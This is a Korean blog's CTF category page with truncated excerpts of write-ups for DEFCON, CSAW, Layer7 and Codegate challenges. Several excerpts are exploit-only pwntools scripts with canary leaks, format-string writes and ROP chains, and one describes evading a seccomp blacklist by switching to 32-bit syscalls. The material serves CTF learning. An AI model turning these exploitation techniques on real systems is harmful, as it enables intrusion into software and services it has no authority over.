본문 바로가기

CTF

2017 DEFCON mute 풀이 참고자료 https://raw.githubusercontent.com/Owlz/CTF/master/2017/DEFCON/mute/win.py 실제 CTF에서 문제를 오래 붙잡고 있었지만 풀지 못해서 라이트업을 보고 다시 적는다. 내가 입력 한 페이로드로 바로 뛰기 때문에 쉘코드를 만들어 주기만 하면된다 하지만, seccomp라는 샌드박스를 통해서 특정 syscall을 제외한 나머지를 필터링 하기 때문에 일반적인 쉘코드를 사용하지 못한다. seccomp에는 blacklist 방식과 whitelist 방식이 있는데, blacklist 방식의 경우에는 64bit 쉘코드가 아닌 32bit 쉘코드를 사용하는 것으로 우회가 가능하다.(64bit와 32bit의 system call 번호가 다르기 때문에 가능) 반면,.. 더보기
2016 CSAW CTF tutorial exploit only from pwn import * #nc pwn.chal.csaw.io 8002 conn = remote('pwn.chal.csaw.io', 8002) payload ="1\n"conn.send(payload) print conn.recvuntil(">Reference:0x") puts_addr = int(conn.recv(12), 16) + 1280print "puts_addr : " + hex(puts_addr) payload = "2\n"conn.send(payload) payload = "A" * 310payload += "Z"payload += "\n" conn.send(payload) print conn.recvuntil("Z\n") canary = u64(conn.recv(8)) print ".. 더보기
2016 Layer7 CTF easy_fsb exploit only FSB에 약점을 가지고 있던 나로써는 힘들게 푼 문제.. 바보같이 %hn이 2byte를 써 준다는 걸 모르고 삽질 .. %s로 하면 주소를 leak 시킬 수 있다는 걸 모르고 삽질 .. 같은 팀원인 민정이의 도움을 받았다. from pwn import * conn = remote('prob.layer7.kr', 10002) payload = "%75$x\n" conn.send(payload) libc_start = int(conn.recv(8),16) - 247 print "libc_start : " + hex(libc_start) system_libc = 0x0003A920 - 0x00018540system_addr = system_libc + libc_startprintf_got = 0x0804A01.. 더보기
2016 Layer7 CTF easy_bof exploit only from pwn import * conn = remote('prob.layer7.kr', 10003) payload = "2147483650\n"payload += "%43$lx%41$lx" conn.send(payload) canary = conn.recv(16)start = conn.recv(12) print "canary : " + canaryprint "start : " + start base_addr = int(start,16) - 0x7e0 printf_plt = base_addr + 0x00000000000007A0fflush_got = base_addr + 0x0000000000200FD8 puts_plt = base_addr + 0x0000000000000790puts_got = base.. 더보기
codegate 2013 vuln200 from rop exploit only from pwn import * elf = ELF('/usr/local/src/pwn/vuln200/vuln200') recv_plt,send_plt = elf.plt['recv'], elf.plt['send']recv_got,send_got = elf.got['recv'], elf.got['send'] ppppr = 0x080493ACvuln = 0x08048EEB conn = remote("localhost", 7777) bss = 0x0804B0E0 payload = "write"payload += "A" * 236 payload += "AAAA" payload += p32(send_plt) # retpayload += p32(ppppr) # argv1payload += p32(4) # fdpayl.. 더보기
angry_doraemon exploit only from pwntools from pwn import * elf = ELF('./angry')rop = ROP(elf) read_plt,write_plt = elf.plt['read'], elf.plt['write']read_got,write_got = elf.got['read'], elf.got['write'] conn = remote('localhost', 8888) sleep(2.3) payload = "4\n" conn.send(payload) sleep(0.3) canary = 0x6df37b00ppppr = 0x080495BCboom = 0x08048FC6 payload = "y111111111"payload += p32(canary)payload += "AAAA"payload += "AAAA" payload += ".. 더보기
codegate nuclear pwn tools 사용 from pwn import * elf = ELF("./nuclear")rop = ROP(elf) recv_plt,send_plt = elf.plt['recv'], elf.plt['send']recv_got,send_got = elf.got['recv'], elf.got['send'] ppppr = 0x0804917Cboom = 0x08048B5B print "read_plt : " + str(hex(recv_plt))print "send_plt : " + str(hex(send_plt))print "read_got : " + str(hex(recv_got))print "send_got : " + str(hex(send_got)) conn = remote('localhost', 1129) payload .. 더보기
DEFCON 2016 easy-prasky 서버와, 데이터 파일이 하나 주어진다. file 명령어로 확인 해보면 그냥 data다.. hex로 열어보면 처음에 CGC라는 문자열을 볼 수 있다. 처음에 CGC를 구글링 했는데 닌텐도 위 파일이라 길래 닌텐도 위 에뮬레이터를 설치 했지만 사실 그 문제는 아니고.. Cyber Grand Challenge의 약자이다. https://github.com/CyberGrandChallenge 위 깃허브에 가면 CGC파일에 관련된 프로그램들이 모여있다. https://github.com/CyberGrandChallenge/cgc2elf 먼저, cgc를 elf로 변환해 주는 프로그램으로 elf로 변환 한 다음 실행 해보면 입력을 받고 바로 종료 해 버린다. ida로 까보자. read를 부르는 부분을 따라가보면 re.. 더보기
DEFCON 2016 baby-re (from angr) 실제 DEFCON를 할때는 같은 팀원인 rls1004가 13차(?) 방정식을 엑셀을 이용하여서 풀었었다. 이 문제가 열리자 마자 10분 만에 푸는 팀들을 보고 어떻게 리버싱을 하길래 저렇게 빨리 풀 수 있을지가 궁금 했었고 wrtie up을 뒤지던 중 angr를 이용한 풀이를 보았다. 참고 : http://hack.carleton.team/2016/05/21/defcon-ctf-qualifier-2016-baby-re/ angr는 Shellphish 팀에서 만든 툴이다. 아직 모든 기능을 접해 보진 못했지만 symbolic excution을 가능하게 해주기 때문에 CTF에서 활용 범위가 매우 넓다. angr 설치 : https://github.com/angr/angrangr를 활용한 CTF 풀이 : ht.. 더보기
DEFCON 2016 xkcd □ Challenge Description: 리버싱 + 포너블 □ Material: □ Solution: 2016 DEFCON에서 가장 많이 푼 문제였다. 적당한 리버싱과 적당한 메모리 릭을 하면 풀 수 있는 문제. strtok로 자르면서 형식에 맞는지 검사한다. 하나하나 일일이 해보면서 맞춰보면 아래와 같은 형식이 된다. “”안에 들어 있는 문자를 (* LETTERS)에서 *개만큼 출력시켜 주는 형식이다. 소스를 보면 알겠지만 “”안에 들어 있는 문자 보다 많은 *개를 입력해 주면 프로그램을 종료 시켜 버린다. SERVER, ARE YOU STILL THERE? IF SO, REPLY "aaaaaa" (6 LETTERS) 소스를 분석해 보면 “globals”에 내가 입력 한 값이 들어가고 “unk_6b.. 더보기